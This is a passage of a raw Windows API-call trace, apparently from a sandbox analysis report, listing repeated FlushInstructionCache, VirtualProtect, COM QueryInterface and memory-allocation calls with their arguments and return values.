GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.111] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.111] GetCurrentProcess () returned 0xffffffffffffffff [0095.111] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.112] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.112] GetCurrentProcess () returned 0xffffffffffffffff [0095.112] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.112] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.112] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.112] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.112] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.112] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.112] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.112] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.112] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.112] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.112] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.112] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.112] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.112] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.112] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.112] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.113] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.113] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.113] GetAsyncKeyState (vKey=27) returned 0 [0095.113] VarAdd (in: pvarLeft=0xb8fbb30, pvarRight=0xb8fbb18, pvarResult=0xb8fbb00 | out: pvarResult=0xb8fbb00) returned 0x0 [0095.113] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdae390 [0095.113] IMalloc:Alloc (This=0x7feffc15380, cb=0x7c0) returned 0xbd356d0 [0095.113] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdae390, cb=0x90) returned 0xbdae390 [0095.113] IMalloc:Free (This=0x7feffc15380, pv=0xbe54210) [0095.113] GetCurrentProcess () returned 0xffffffffffffffff [0095.113] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.113] GetCurrentProcess () returned 0xffffffffffffffff [0095.113] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.113] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.114] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.114] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.114] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.114] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.114] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.114] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.115] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.115] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.115] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.115] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.115] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.116] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.116] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.116] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.116] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.116] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.117] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.117] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.117] GetCurrentProcess () returned 0xffffffffffffffff [0095.117] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.117] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.117] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.117] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.117] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.117] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.117] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.117] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.117] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.117] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.117] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.118] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.118] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.118] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.118] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.118] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a8 | out: ppvObject=0x23d1a8*=0x0) returned 0x80004002 [0095.118] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d1a0 | out: ppvObject=0x23d1a0*=0x0) returned 0x80004002 [0095.118] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.118] GetAsyncKeyState (vKey=27) returned 0 [0095.118] VarAdd (in: pvarLeft=0xb8fbb00, pvarRight=0xb8fbae8, pvarResult=0xb8fbad0 | out: pvarResult=0xb8fbad0) returned 0x0 [0095.118] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdafb30 [0095.118] IMalloc:Alloc (This=0x7feffc15380, cb=0x7c8) returned 0xbd36670 [0095.118] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdafb30, cb=0x90) returned 0xbdafb30 [0095.118] IMalloc:Free (This=0x7feffc15380, pv=0xbe54270) [0095.118] GetCurrentProcess () returned 0xffffffffffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffffffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffffffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffffffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.118] GetCurrentProcess () returned 0xffffffffffffffff [0095.118] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.118] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.119] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.119] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.119] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.119] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.119] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.119] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.120] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.120] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.120] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23bdec | out: lpflOldProtect=0x23bdec*=0x40) returned 1 [0095.120] GetCurrentProcess () returned 0xffffffffffffffff [0095.120] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) 